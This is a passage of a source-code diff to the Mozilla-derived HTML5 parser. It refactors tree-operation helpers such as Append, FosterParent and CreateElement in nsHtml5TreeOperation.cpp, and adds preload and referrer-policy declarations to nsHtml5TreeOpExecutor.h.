/**
* URLs already preloaded/preloading.
@@ -78,6 +69,12 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
nsCOMPtr<nsIURI> mSpeculationBaseURI;
+ /**
+ * Need to keep track of whether the referrer policy was already set.
+ */
+ bool mSpeculationReferrerPolicyWasSet;
+ ReferrerPolicy mSpeculationReferrerPolicy;
+
nsCOMPtr<nsIURI> mViewSourceBaseURI;
/**
@@ -87,77 +84,67 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
nsHtml5TreeOpStage mStage;
- eHtml5FlushState mFlushState;
-
bool mRunFlushLoopOnStack;
bool mCallContinueInterruptedParsingIfEnabled;
/**
- * Non-NS_OK if this parser should refuse to process any more input.
- * For example, the parser needs to be marked as broken if it drops some
- * input due to a memory allocation failure. In such a case, the whole
- * parser needs to be marked as broken, because some input has been lost
- * and parsing more input could lead to a DOM where pieces of HTML source
- * that weren't supposed to become scripts become scripts.
- *
- * Since NS_OK is actually 0, zeroing operator new takes care of
- * initializing this.
- */
- nsresult mBroken;
-
- /**
* Whether this executor has already complained about matters related
* to character encoding declarations.
*/
bool mAlreadyComplainedAboutCharset;
public:
-
- nsHtml5TreeOpExecutor(bool aRunsToCompletion = false);
+
+ nsHtml5TreeOpExecutor();
+
+ protected:
+
virtual ~nsHtml5TreeOpExecutor();
-
+
+ public:
+
// nsIContentSink
/**
* Unimplemented. For interface compat only.
*/
- NS_IMETHOD WillParse();
+ NS_IMETHOD WillParse() override;
/**
*
*/
- NS_IMETHOD WillBuildModel(nsDTDMode aDTDMode);
+ NS_IMETHOD WillBuildModel(nsDTDMode aDTDMode) override;
/**
* Emits EOF.
*/
- NS_IMETHOD DidBuildModel(bool aTerminated);
+ NS_IMETHOD DidBuildModel(bool aTerminated) override;
/**
* Forwards to nsContentSink
*/
- NS_IMETHOD WillInterrupt();
+ NS_IMETHOD WillInterrupt() override;
/**
* Unimplemented. For interface compat only.
*/
- NS_IMETHOD WillResume();
+ NS_IMETHOD WillResume() override;
/**
* Sets the parser.
*/
- NS_IMETHOD SetParser(nsParserBase* aParser);
+ NS_IMETHOD SetParser(nsParserBase* aParser) override;
/**
* No-op for backwards compat.
*/
- virtual void FlushPendingNotifications(mozFlushType aType);
+ virtual void FlushPendingNotifications(mozFlushType aType) override;
/**
* Don't call. For interface compat only.
*/
- NS_IMETHOD SetDocumentCharset(nsACString& aCharset) {
+ NS_IMETHOD SetDocumentCharset(nsACString& aCharset) override {
NS_NOTREACHED("No one should call this.");
return NS_ERROR_NOT_IMPLEMENTED;
}
@@ -165,42 +152,19 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
/**
* Returns the document.
*/
- virtual nsISupports *GetTarget();
+ virtual nsISupports *GetTarget() override;
- // nsContentSink methods
- virtual void UpdateChildCounts();
- virtual nsresult FlushTags();
- virtual void ContinueInterruptedParsingAsync();
-
- /**
- * Sets up style sheet load / parse
- */
- void UpdateStyleSheet(nsIContent* aElement);
-
- // Getters and setters for fields from nsContentSink
- nsIDocument* GetDocument() {
- return mDocument;
- }
- nsNodeInfoManager* GetNodeInfoManager() {
- return mNodeInfoManager;
- }
- nsIDocShell* GetDocShell() {
- return mDocShell;
- }
+ virtual void ContinueInterruptedParsingAsync() override;
- bool IsScriptExecuting() {
+ bool IsScriptExecuting() override
+ {
return IsScriptExecutingImpl();
}
-
- void SetNodeInfoManager(nsNodeInfoManager* aManager) {
- mNodeInfoManager = aManager;
- }
-
- // Not from interface
- void SetDocumentCharsetAndSource(nsACString& aCharset, int32_t aCharsetSource);
+ // Not from interface
- void SetStreamParser(nsHtml5StreamParser* aStreamParser) {
+ void SetStreamParser(nsHtml5StreamParser* aStreamParser)
+ {
mStreamParser = aStreamParser;
}
@@ -208,49 +172,10 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
bool IsScriptEnabled();
- bool BelongsToStringParser() {
- return mRunsToCompletion;
- }
-
- /**
- * Marks this parser as broken and tells the stream parser (if any) to
- * terminate.
- *
- * @return aReason for convenience
- */
- nsresult MarkAsBroken(nsresult aReason);
-
- /**
- * Checks if this parser is broken. Returns a non-NS_OK (i.e. non-0)
- * value if broken.
- */
- inline nsresult IsBroken() {
- NS_ASSERTION(NS_IsMainThread(), "Wrong thread!");
- return mBroken;
- }
-
- inline void BeginDocUpdate() {
- NS_PRECONDITION(mFlushState == eInFlush, "Tried to double-open update.");
- NS_PRECONDITION(mParser, "Started update without parser.");
- mFlushState = eInDocUpdate;
- mDocument->BeginUpdate(UPDATE_CONTENT_MODEL);
- }
-
- inline void EndDocUpdate() {
- NS_PRECONDITION(mFlushState != eNotifying, "mFlushState out of sync");
- if (mFlushState == eInDocUpdate) {
- mFlushState = eInFlush;
- mDocument->EndUpdate(UPDATE_CONTENT_MODEL);
- }
- }
+ virtual nsresult MarkAsBroken(nsresult aReason) override;
void StartLayout();
- void SetDocumentMode(nsHtml5DocumentMode m);
-
- nsresult Init(nsIDocument* aDoc, nsIURI* aURI,
- nsISupports* aContainer, nsIChannel* aChannel);
-
void FlushSpeculativeLoads();
void RunFlushLoop();
@@ -271,52 +196,51 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
void ComplainAboutBogusProtocolCharset(nsIDocument* aDoc);
- bool IsComplete() {
+ bool IsComplete()
+ {
return !mParser;
}
- bool HasStarted() {
+ bool HasStarted()
+ {
return mStarted;
}
- bool IsFlushing() {
+ bool IsFlushing()
+ {
return mFlushState >= eInFlush;
}
#ifdef DEBUG
- bool IsInFlushLoop() {
+ bool IsInFlushLoop()
+ {
return mRunFlushLoopOnStack;
}
#endif
void RunScript(nsIContent* aScriptElement);
- void Reset();
-
- inline void HoldElement(nsIContent* aContent) {
- mOwnedElements.AppendElement(aContent);
- }
-
- void DropHeldElements();
-
/**
* Flush the operations from the tree operations from the argument
* queue unconditionally. (This is for the main thread case.)
*/
- virtual void MoveOpsFrom(nsTArray<nsHtml5TreeOperation>& aOpQueue);
+ virtual void MoveOpsFrom(nsTArray<nsHtml5TreeOperation>& aOpQueue) override;
- nsHtml5TreeOpStage* GetStage() {
+ nsHtml5TreeOpStage* GetStage()
+ {
return &mStage;
}
- void StartReadingFromStage() {
+ void StartReadingFromStage()
+ {
mReadingFromStage = true;
}
void StreamEnded();
#ifdef DEBUG
- void AssertStageEmpty() {
+ void AssertStageEmpty()
+ {
mStage.AssertEmpty();
}
#endif
@@ -330,12 +254,27 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
bool aScriptFromHead);
void PreloadStyle(const nsAString& aURL, const nsAString& aCharset,
- const nsAString& aCrossOrigin);
+ const nsAString& aCrossOrigin);
+
+ void PreloadImage(const nsAString& aURL,
+ const nsAString& aCrossOrigin,
+ const nsAString& aSrcset,
+ const nsAString& aSizes);
+
+ void PreloadOpenPicture();
- void PreloadImage(const nsAString& aURL, const nsAString& aCrossOrigin);
+ void PreloadEndPicture();
+
+ void PreloadPictureSource(const nsAString& aSrcset,
+ const nsAString& aSizes,
+ const nsAString& aType,
+ const nsAString& aMedia);
void SetSpeculationBase(const nsAString& aURL);
+ void SetSpeculationReferrerPolicy(ReferrerPolicy aReferrerPolicy);
+ void SetSpeculationReferrerPolicy(const nsAString& aReferrerPolicy);
+
void AddBase(const nsAString& aURL);
static void InitializeStatics();
@@ -350,6 +289,16 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
*/
already_AddRefed<nsIURI> ConvertIfNotPreloadedYet(const nsAString& aURL);
+ /**
+ * The base URI we would use for current preload operations
+ */
+ nsIURI* BaseURIForPreload();
+
+ /**
+ * Returns true if we haven't preloaded this URI yet, and adds it to the
+ * list of preloaded URIs
+ */
+ bool ShouldPreloadURI(nsIURI *aURI);
};
-#endif // nsHtml5TreeOpExecutor_h__
+#endif // nsHtml5TreeOpExecutor_h
diff --git a/parser/html/nsHtml5TreeOpStage.h b/parser/html/nsHtml5TreeOpStage.h
index 784c174b7..10e0054ee 100644
--- a/parser/html/nsHtml5TreeOpStage.h
+++ b/parser/html/nsHtml5TreeOpStage.h
@@ -2,8 +2,8 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5TreeOpStage_h___
-#define nsHtml5TreeOpStage_h___
+#ifndef nsHtml5TreeOpStage_h
+#define nsHtml5TreeOpStage_h
#include "mozilla/Mutex.h"
#include "nsHtml5TreeOperation.h"
@@ -51,4 +51,4 @@ class nsHtml5TreeOpStage : public nsAHtml5TreeOpSink {
};
-#endif /* nsHtml5TreeOpStage_h___ */
+#endif /* nsHtml5TreeOpStage_h */
diff --git a/parser/html/nsHtml5TreeOperation.cpp b/parser/html/nsHtml5TreeOperation.cpp
index ca8c0a8c1..de44a1ddc 100644
--- a/parser/html/nsHtml5TreeOperation.cpp
+++ b/parser/html/nsHtml5TreeOperation.cpp
@@ -19,7 +19,7 @@
#include "nsContentCreatorFunctions.h"
#include "nsIScriptElement.h"
#include "nsIDTD.h"
-#include "nsTraceRefcnt.h"
+#include "nsISupportsImpl.h"
#include "nsIDOMHTMLFormElement.h"
#include "nsIFormControl.h"
#include "nsIStyleSheetLinkingElement.h"
@@ -42,7 +42,7 @@
#include "mozilla/Likely.h"
#include "nsTextNode.h"
-namespace dom = mozilla::dom;
+using namespace mozilla;
static NS_DEFINE_CID(kFormProcessorCID, NS_FORMPROCESSOR_CID);
@@ -75,9 +75,7 @@ class MOZ_STACK_CLASS nsHtml5OtherDocUpdate {
};
nsHtml5TreeOperation::nsHtml5TreeOperation()
-#ifdef DEBUG
: mOpCode(eTreeOpUninitialized)
-#endif
{
MOZ_COUNT_CTOR(nsHtml5TreeOperation);
}
@@ -118,35 +116,36 @@ nsHtml5TreeOperation::~nsHtml5TreeOperation()
}
nsresult
-nsHtml5TreeOperation::AppendTextToTextNode(const PRUnichar* aBuffer,
+nsHtml5TreeOperation::AppendTextToTextNode(const char16_t* aBuffer,
uint32_t aLength,
- nsIContent* aTextNode)
+ nsIContent* aTextNode,
+ nsHtml5DocumentBuilder* aBuilder)
{
NS_PRECONDITION(aTextNode, "Got null text node.");
-
- nsCOMPtr<nsIContent> textNode = aTextNode;
- mozAutoDocUpdate batch(textNode->OwnerDoc(), UPDATE_CONTENT_MODEL, true);
- uint32_t oldLength = textNode->TextLength();
+ MOZ_ASSERT(aBuilder);
+ MOZ_ASSERT(aBuilder->IsInDocUpdate());
+ uint32_t oldLength = aTextNode->TextLength();
CharacterDataChangeInfo info = {
true,
oldLength,
oldLength,
aLength
};
- nsNodeUtils::CharacterDataWillChange(textNode, &info);
+ nsNodeUtils::CharacterDataWillChange(aTextNode, &info);
- nsresult rv = textNode->AppendText(aBuffer, aLength, false);
+ nsresult rv = aTextNode->AppendText(aBuffer, aLength, false);
NS_ENSURE_SUCCESS(rv, rv);
- nsNodeUtils::CharacterDataChanged(textNode, &info);
+ nsNodeUtils::CharacterDataChanged(aTextNode, &info);
return rv;
}
+
nsresult
-nsHtml5TreeOperation::AppendText(const PRUnichar* aBuffer,
+nsHtml5TreeOperation::AppendText(const char16_t* aBuffer,
uint32_t aLength,
nsIContent* aParent,
- nsHtml5TreeOpExecutor* aBuilder)
+ nsHtml5DocumentBuilder* aBuilder)
{
nsresult rv = NS_OK;
nsIContent* lastChild = aParent->GetLastChild();
@@ -155,48 +154,60 @@ nsHtml5TreeOperation::AppendText(const PRUnichar* aBuffer,
aBuilder->GetDocument());
return AppendTextToTextNode(aBuffer,
aLength,
- lastChild);
+ lastChild,
+ aBuilder);
}
- nsRefPtr<nsTextNode> text = new nsTextNode(aBuilder->GetNodeInfoManager());
+ nsNodeInfoManager* nodeInfoManager = aParent->OwnerDoc()->NodeInfoManager();
+ nsRefPtr<nsTextNode> text = new nsTextNode(nodeInfoManager);
NS_ASSERTION(text, "Infallible malloc failed?");
rv = text->SetText(aBuffer, aLength, false);
NS_ENSURE_SUCCESS(rv, rv);
- return Append(text, aParent);
+ return Append(text, aParent, aBuilder);
}
nsresult
nsHtml5TreeOperation::Append(nsIContent* aNode,
- nsIContent* aParent)
+ nsIContent* aParent,
+ nsHtml5DocumentBuilder* aBuilder)
{
- nsCOMPtr<nsIContent> parent = aParent;
- nsCOMPtr<nsIContent> node = aNode;
- mozAutoDocUpdate batch(parent->OwnerDoc(), UPDATE_CONTENT_MODEL, true);
- uint32_t childCount = parent->GetChildCount();
- nsresult rv = parent->AppendChildTo(node, false);
+ MOZ_ASSERT(aBuilder);
+ MOZ_ASSERT(aBuilder->IsInDocUpdate());
+ nsresult rv = NS_OK;
+ nsHtml5OtherDocUpdate update(aParent->OwnerDoc(),
+ aBuilder->GetDocument());
+ uint32_t childCount = aParent->GetChildCount();
+ rv = aParent->AppendChildTo(aNode, false);
if (NS_SUCCEEDED(rv)) {
- node->SetParserHasNotified();
- nsNodeUtils::ContentAppended(parent, node, childCount);
+ aNode->SetParserHasNotified();
+ nsNodeUtils::ContentAppended(aParent, aNode, childCount);
}
return rv;
}
nsresult
nsHtml5TreeOperation::AppendToDocument(nsIContent* aNode,
- nsHtml5TreeOpExecutor* aBuilder)
+ nsHtml5DocumentBuilder* aBuilder)
{
- NS_ASSERTION(!nsContentUtils::IsSafeToRunScript(),
- "Someone forgot to block scripts");
+ MOZ_ASSERT(aBuilder);
+ MOZ_ASSERT(aBuilder->GetDocument() == aNode->OwnerDoc());
+ MOZ_ASSERT(aBuilder->IsInDocUpdate());
+ nsresult rv = NS_OK;
- nsCOMPtr<nsIDocument> doc = aBuilder->GetDocument();
- mozAutoDocUpdate batch(doc, UPDATE_CONTENT_MODEL, true);
+ nsIDocument* doc = aBuilder->GetDocument();
uint32_t childCount = doc->GetChildCount();
- nsresult rv = doc->AppendChildTo(aNode, false);
+ rv = doc->AppendChildTo(aNode, false);
+ if (rv == NS_ERROR_DOM_HIERARCHY_REQUEST_ERR) {
+ aNode->SetParserHasNotified();
+ return NS_OK;
+ }
NS_ENSURE_SUCCESS(rv, rv);
aNode->SetParserHasNotified();
nsNodeUtils::ContentInserted(doc, aNode, childCount);
+ NS_ASSERTION(!nsContentUtils::IsSafeToRunScript(),
+ "Someone forgot to block scripts");
if (aNode->IsElement()) {
nsContentUtils::AddScriptRunner(
new nsDocElementCreatedNotificationRunner(doc));
@@ -204,104 +215,461 @@ nsHtml5TreeOperation::AppendToDocument(nsIContent* aNode,
return rv;
}
+static bool
+IsElementOrTemplateContent(nsINode* aNode) {
+ if (aNode) {
+ if (aNode->IsElement()) {
+ return true;
+ } else if (aNode->NodeType() == nsIDOMNode::DOCUMENT_FRAGMENT_NODE) {
+ // Check if the node is a template content.
+ mozilla::dom::DocumentFragment* frag =
+ static_cast<mozilla::dom::DocumentFragment*>(aNode);
+ nsIContent* fragHost = frag->GetHost();
+ if (fragHost && nsNodeUtils::IsTemplateElement(fragHost)) {
+ return true;
+ }
+ }
+ }
+ return false;
+}
+
+void
+nsHtml5TreeOperation::Detach(nsIContent* aNode, nsHtml5DocumentBuilder* aBuilder)
+{
+ MOZ_ASSERT(aBuilder);
+ MOZ_ASSERT(aBuilder->IsInDocUpdate());
+ nsCOMPtr<nsINode> parent = aNode->GetParentNode();
+ if (parent) {
+ nsHtml5OtherDocUpdate update(parent->OwnerDoc(),
+ aBuilder->GetDocument());
+ int32_t pos = parent->IndexOf(aNode);
+ NS_ASSERTION((pos >= 0), "Element not found as child of its parent");
+ parent->RemoveChildAt(pos, true);
+ }
+}
+
+nsresult
+nsHtml5TreeOperation::AppendChildrenToNewParent(nsIContent* aNode,
+ nsIContent* aParent,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ MOZ_ASSERT(aBuilder);
+ MOZ_ASSERT(aBuilder->IsInDocUpdate());
+ nsHtml5OtherDocUpdate update(aParent->OwnerDoc(),
+ aBuilder->GetDocument());
+
+ uint32_t childCount = aParent->GetChildCount();
+ bool didAppend = false;
+ while (aNode->HasChildren()) {
+ nsCOMPtr<nsIContent> child = aNode->GetFirstChild();
+ aNode->RemoveChildAt(0, true);
+ nsresult rv = aParent->AppendChildTo(child, false);
+ NS_ENSURE_SUCCESS(rv, rv);
+ didAppend = true;
+ }
+ if (didAppend) {
+ nsNodeUtils::ContentAppended(aParent, aParent->GetChildAt(childCount),
+ childCount);
+ }
+ return NS_OK;
+}
+
+nsresult
+nsHtml5TreeOperation::FosterParent(nsIContent* aNode,
+ nsIContent* aParent,
+ nsIContent* aTable,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ MOZ_ASSERT(aBuilder);
+ MOZ_ASSERT(aBuilder->IsInDocUpdate());
+ nsIContent* foster = aTable->GetParent();
+
+ if (IsElementOrTemplateContent(foster)) {
+
+ nsHtml5OtherDocUpdate update(foster->OwnerDoc(),
+ aBuilder->GetDocument());
+
+ uint32_t pos = foster->IndexOf(aTable);
+ nsresult rv = foster->InsertChildAt(aNode, pos, false);
+ NS_ENSURE_SUCCESS(rv, rv);
+ nsNodeUtils::ContentInserted(foster, aNode, pos);
+ return rv;
+ }
+
+ return Append(aNode, aParent, aBuilder);
+}
+
+nsresult
+nsHtml5TreeOperation::AddAttributes(nsIContent* aNode,
+ nsHtml5HtmlAttributes* aAttributes,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ dom::Element* node = aNode->AsElement();
+ nsHtml5OtherDocUpdate update(node->OwnerDoc(),
+ aBuilder->GetDocument());
+
+ int32_t len = aAttributes->getLength();
+ for (int32_t i = len; i > 0;) {
+ --i;
+ // prefix doesn't need regetting. it is always null or a static atom
+ // local name is never null
+ nsCOMPtr<nsIAtom> localName =
+ Reget(aAttributes->getLocalNameNoBoundsCheck(i));
+ int32_t nsuri = aAttributes->getURINoBoundsCheck(i);
+ if (!node->HasAttr(nsuri, localName)) {
+ // prefix doesn't need regetting. it is always null or a static atom
+ // local name is never null
+ node->SetAttr(nsuri,
+ localName,
+ aAttributes->getPrefixNoBoundsCheck(i),
+ *(aAttributes->getValueNoBoundsCheck(i)),
+ true);
+ // XXX what to do with nsresult?
+ }
+ }
+ return NS_OK;
+}
+
+
+nsIContent*
+nsHtml5TreeOperation::CreateElement(int32_t aNs,
+ nsIAtom* aName,
+ nsHtml5HtmlAttributes* aAttributes,
+ mozilla::dom::FromParser aFromParser,
+ nsNodeInfoManager* aNodeInfoManager,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ bool isKeygen = (aName == nsHtml5Atoms::keygen && aNs == kNameSpaceID_XHTML);
+ if (MOZ_UNLIKELY(isKeygen)) {
+ aName = nsHtml5Atoms::select;
+ }
+
+ nsCOMPtr<dom::Element> newElement;
+ nsRefPtr<dom::NodeInfo> nodeInfo = aNodeInfoManager->
+ GetNodeInfo(aName, nullptr, aNs, nsIDOMNode::ELEMENT_NODE);
+ NS_ASSERTION(nodeInfo, "Got null nodeinfo.");
+ NS_NewElement(getter_AddRefs(newElement),
+ nodeInfo.forget(),
+ aFromParser);
+ NS_ASSERTION(newElement, "Element creation created null pointer.");
+
+ dom::Element* newContent = newElement;
+ aBuilder->HoldElement(newElement.forget());
+
+ if (MOZ_UNLIKELY(aName == nsHtml5Atoms::style || aName == nsHtml5Atoms::link)) {
+ nsCOMPtr<nsIStyleSheetLinkingElement> ssle(do_QueryInterface(newContent));
+ if (ssle) {
+ ssle->InitStyleLinkElement(false);
+ ssle->SetEnableUpdates(false);
+ }
+ } else if (MOZ_UNLIKELY(isKeygen)) {
+ // Adapted from CNavDTD
+ nsresult rv;
+ nsCOMPtr<nsIFormProcessor> theFormProcessor =
+ do_GetService(kFormProcessorCID, &rv);
+ if (NS_FAILED(rv)) {
+ return newContent;
+ }
+
+ nsTArray<nsString> theContent;
+ nsAutoString theAttribute;
+
+ (void) theFormProcessor->ProvideContent(NS_LITERAL_STRING("select"),
+ theContent,
+ theAttribute);
+
+ newContent->SetAttr(kNameSpaceID_None,
+ nsGkAtoms::moztype,
+ nullptr,
+ theAttribute,
+ false);
+
+ nsRefPtr<dom::NodeInfo> optionNodeInfo =
+ aNodeInfoManager->GetNodeInfo(nsHtml5Atoms::option,
+ nullptr,
+ kNameSpaceID_XHTML,
+ nsIDOMNode::ELEMENT_NODE);
+
+ for (uint32_t i = 0; i < theContent.Length(); ++i) {
+ nsCOMPtr<dom::Element> optionElt;
+ nsRefPtr<dom::NodeInfo> ni = optionNodeInfo;
+ NS_NewElement(getter_AddRefs(optionElt),
+ ni.forget(),
+ aFromParser);
+ nsRefPtr<nsTextNode> optionText = new nsTextNode(aNodeInfoManager);
+ (void) optionText->SetText(theContent[i], false);
+ optionElt->AppendChildTo(optionText, false);
+ newContent->AppendChildTo(optionElt, false);
+ // XXXsmaug Shouldn't we call this after adding all the child nodes.
+ newContent->DoneAddingChildren(false);
+ }
+ }
+
+ if (!aAttributes) {
+ return newContent;
+ }
+
+ int32_t len = aAttributes->getLength();
+ for (int32_t i = len; i > 0;) {
+ --i;
+ // prefix doesn't need regetting. it is always null or a static atom
+ // local name is never null
+ nsCOMPtr<nsIAtom> localName =
+ Reget(aAttributes->getLocalNameNoBoundsCheck(i));
+ nsCOMPtr<nsIAtom> prefix = aAttributes->getPrefixNoBoundsCheck(i);
+ int32_t nsuri = aAttributes->getURINoBoundsCheck(i);
+
+ if (aNs == kNameSpaceID_XHTML &&
+ nsHtml5Atoms::a == aName &&
+ nsHtml5Atoms::name == localName) {
+ // This is an HTML5-incompliant Goannaism.
+ // Remove when fixing bug 582361
+ NS_ConvertUTF16toUTF8 cname(*(aAttributes->getValueNoBoundsCheck(i)));
+ NS_ConvertUTF8toUTF16 uv(nsUnescape(cname.BeginWriting()));
+ newContent->SetAttr(nsuri,
+ localName,
+ prefix,
+ uv,
+ false);
+ } else {
+ nsString& value = *(aAttributes->getValueNoBoundsCheck(i));
+ newContent->SetAttr(nsuri,
+ localName,
+ prefix,
+ value,
+ false);
+
+ // Custom element setup may be needed if there is an "is" attribute.
+ if (kNameSpaceID_None == nsuri && !prefix && nsGkAtoms::is == localName) {
+ newContent->OwnerDoc()->SetupCustomElement(newContent,
+ newContent->GetNameSpaceID(),
+ &value);
+ }
+ }
+ }
+ return newContent;
+}
+
+void
+nsHtml5TreeOperation::SetFormElement(nsIContent* aNode, nsIContent* aParent)
+{
+ nsCOMPtr<nsIFormControl> formControl(do_QueryInterface(aNode));
+ nsCOMPtr<nsIDOMHTMLImageElement> domImageElement = do_QueryInterface(aNode);
+ // NS_ASSERTION(formControl, "Form-associated element did not implement nsIFormControl.");
+ // TODO: uncomment the above line when <keygen> (bug 101019) is supported by Goanna
+ nsCOMPtr<nsIDOMHTMLFormElement> formElement(do_QueryInterface(aParent));
+ NS_ASSERTION(formElement, "The form element doesn't implement nsIDOMHTMLFormElement.");
+ // avoid crashing on <keygen>
+ if (formControl &&
+ !aNode->HasAttr(kNameSpaceID_None, nsGkAtoms::form)) {
+ formControl->SetForm(formElement);
+ } else if (domImageElement) {
+ nsRefPtr<dom::HTMLImageElement> imageElement =
+ static_cast<dom::HTMLImageElement*>(domImageElement.get());
+ MOZ_ASSERT(imageElement);
+ imageElement->SetForm(formElement);
+ }
+}
+
+nsresult
+nsHtml5TreeOperation::AppendIsindexPrompt(nsIContent* parent, nsHtml5DocumentBuilder* aBuilder)
+{
+ nsXPIDLString prompt;
+ nsresult rv =
+ nsContentUtils::GetLocalizedString(nsContentUtils::eFORMS_PROPERTIES,
+ "IsIndexPromptWithSpace", prompt);
+ uint32_t len = prompt.Length();
+ if (NS_FAILED(rv)) {
+ return rv;
+ }
+ if (!len) {
+ // Don't bother appending a zero-length text node.
+ return NS_OK;
+ }
+ return AppendText(prompt.BeginReading(), len, parent, aBuilder);
+}
+
+nsresult
+nsHtml5TreeOperation::FosterParentText(nsIContent* aStackParent,
+ char16_t* aBuffer,
+ uint32_t aLength,
+ nsIContent* aTable,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ MOZ_ASSERT(aBuilder);
+ MOZ_ASSERT(aBuilder->IsInDocUpdate());
+ nsresult rv = NS_OK;
+ nsIContent* foster = aTable->GetParent();
+
+ if (IsElementOrTemplateContent(foster)) {
+ nsHtml5OtherDocUpdate update(foster->OwnerDoc(),
+ aBuilder->GetDocument());
+
+ uint32_t pos = foster->IndexOf(aTable);
+
+ nsIContent* previousSibling = aTable->GetPreviousSibling();
+ if (previousSibling && previousSibling->IsNodeOfType(nsINode::eTEXT)) {
+ return AppendTextToTextNode(aBuffer,
+ aLength,
+ previousSibling,
+ aBuilder);
+ }
+
+ nsNodeInfoManager* nodeInfoManager = aStackParent->OwnerDoc()->NodeInfoManager();
+ nsRefPtr<nsTextNode> text = new nsTextNode(nodeInfoManager);
+ NS_ASSERTION(text, "Infallible malloc failed?");
+ rv = text->SetText(aBuffer, aLength, false);
+ NS_ENSURE_SUCCESS(rv, rv);
+
+ rv = foster->InsertChildAt(text, pos, false);
+ NS_ENSURE_SUCCESS(rv, rv);
+ nsNodeUtils::ContentInserted(foster, text, pos);
+ return rv;
+ }
+
+ return AppendText(aBuffer, aLength, aStackParent, aBuilder);
+}
+
+nsresult
+nsHtml5TreeOperation::AppendComment(nsIContent* aParent,
+ char16_t* aBuffer,
+ int32_t aLength,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ nsNodeInfoManager* nodeInfoManager = aParent->OwnerDoc()->NodeInfoManager();
+ nsRefPtr<dom::Comment> comment = new dom::Comment(nodeInfoManager);
+ NS_ASSERTION(comment, "Infallible malloc failed?");
+ nsresult rv = comment->SetText(aBuffer, aLength, false);
+ NS_ENSURE_SUCCESS(rv, rv);
+
+ return Append(comment, aParent, aBuilder);
+}
+
+nsresult
+nsHtml5TreeOperation::AppendCommentToDocument(char16_t* aBuffer,
+ int32_t aLength,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ nsRefPtr<dom::Comment> comment =
+ new dom::Comment(aBuilder->GetNodeInfoManager());
+ NS_ASSERTION(comment, "Infallible malloc failed?");
+ nsresult rv = comment->SetText(aBuffer, aLength, false);
+ NS_ENSURE_SUCCESS(rv, rv);
+
+ return AppendToDocument(comment, aBuilder);
+}
+
+nsresult
+nsHtml5TreeOperation::AppendDoctypeToDocument(nsIAtom* aName,
+ const nsAString& aPublicId,
+ const nsAString& aSystemId,
+ nsHtml5DocumentBuilder* aBuilder)
+{
+ // Adapted from nsXMLContentSink
+ // Create a new doctype node
+ nsCOMPtr<nsIDOMDocumentType> docType;
+ nsAutoString voidString;
+ voidString.SetIsVoid(true);
+ NS_NewDOMDocumentType(getter_AddRefs(docType),
+ aBuilder->GetNodeInfoManager(),
+ aName,
+ aPublicId,
+ aSystemId,
+ voidString);
+ NS_ASSERTION(docType, "Doctype creation failed.");
+ nsCOMPtr<nsIContent> asContent = do_QueryInterface(docType);
+ return AppendToDocument(asContent, aBuilder);
+}
+
+nsIContent*
+nsHtml5TreeOperation::GetDocumentFragmentForTemplate(nsIContent* aNode)
+{
+ dom::HTMLTemplateElement* tempElem =
+ static_cast<dom::HTMLTemplateElement*>(aNode);
+ nsRefPtr<dom::DocumentFragment> frag = tempElem->Content();
+ return frag;
+}
+
+nsIContent*
+nsHtml5TreeOperation::GetFosterParent(nsIContent* aTable, nsIContent* aStackParent)
+{
+ nsIContent* tableParent = aTable->GetParent();
+ return IsElementOrTemplateContent(tableParent) ? tableParent : aStackParent;
+}
+
+void
+nsHtml5TreeOperation::PreventScriptExecution(nsIContent* aNode)
+{
+ nsCOMPtr<nsIScriptElement> sele = do_QueryInterface(aNode);
+ MOZ_ASSERT(sele);
+ sele->PreventExecution();
+}
+
+void
+nsHtml5TreeOperation::DoneAddingChildren(nsIContent* aNode)
+{
+ aNode->DoneAddingChildren(aNode->HasParserNotified());
+}
+
+void
+nsHtml5TreeOperation::DoneCreatingElement(nsIContent* aNode)
+{
+ aNode->DoneCreatingElement();
+}
+
+void
+nsHtml5TreeOperation::SvgLoad(nsIContent* aNode)
+{
+ nsCOMPtr<nsIRunnable> event = new nsHtml5SVGLoadDispatcher(aNode);
+ if (NS_FAILED(NS_DispatchToMainThread(event))) {
+ NS_WARNING("failed to dispatch svg load dispatcher");
+ }
+}
+
+void
+nsHtml5TreeOperation::MarkMalformedIfScript(nsIContent* aNode)
+{
+ nsCOMPtr<nsIScriptElement> sele = do_QueryInterface(aNode);
+ if (sele) {
+ // Make sure to serialize this script correctly, for nice round tripping.
+ sele->SetIsMalformed();
+ }
+}
+
nsresult
nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
nsIContent** aScriptElement)
{
- nsresult rv = NS_OK;
switch(mOpCode) {
case eTreeOpAppend: {
nsIContent* node = *(mOne.node);
nsIContent* parent = *(mTwo.node);
- return Append(node, parent);
+ return Append(node, parent, aBuilder);
}
case eTreeOpDetach: {
nsIContent* node = *(mOne.node);
- nsCOMPtr<nsINode> parent = node->GetParentNode();
- if (parent) {
- nsHtml5OtherDocUpdate update(parent->OwnerDoc(),
- aBuilder->GetDocument());
- int32_t pos = parent->IndexOf(node);
- NS_ASSERTION((pos >= 0), "Element not found as child of its parent");
- parent->RemoveChildAt(pos, true);
- }
+ Detach(node, aBuilder);
return NS_OK;
}
case eTreeOpAppendChildrenToNewParent: {
nsCOMPtr<nsIContent> node = *(mOne.node);
- nsCOMPtr<nsIContent> parent = *(mTwo.node);
-
- nsHtml5OtherDocUpdate update(parent->OwnerDoc(),
- aBuilder->GetDocument());
-
- uint32_t childCount = parent->GetChildCount();
- mozAutoDocUpdate batch(node->OwnerDoc(), UPDATE_CONTENT_MODEL, true);
- bool didAppend = false;
- while (node->HasChildren()) {
- nsCOMPtr<nsIContent> child = node->GetFirstChild();
- node->RemoveChildAt(0, true);
- rv = parent->AppendChildTo(child, false);
- NS_ENSURE_SUCCESS(rv, rv);
- didAppend = true;
- }
- if (didAppend) {
